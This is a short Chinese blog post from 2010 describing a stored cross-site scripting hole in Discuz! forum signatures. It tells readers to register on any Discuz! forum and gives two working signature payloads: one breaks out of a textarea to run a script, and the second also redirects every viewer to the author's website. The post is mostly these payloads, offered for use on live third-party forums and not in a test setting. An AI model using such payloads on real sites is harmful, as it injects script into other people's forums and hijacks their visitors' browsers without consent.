最新Discuz!跨站个人签名漏洞

由于DZ论坛的对个性能签名字符过虑不严导致XSS跨站角本可以执行

随便选个 Discuz! 论坛我们注册一个用户!

并输入跨站脚本代码 ， 以我们个人的签名

</textarea><script>alert(/瑶哥博客/);</script><textarea> 

也可以写成这样:</textarea><script>alert(/欢迎访问/);location.href=/http://yaoge.me/;</script><textarea>

最后更新于 2010-10-21 13:13:11 并被添加「dz 签名 漏洞」标签，已有 4151 位童鞋阅读过。

本站使用「署名 4.0 国际」创作共享协议，可自由转载、引用，但需署名作者且注明文章出处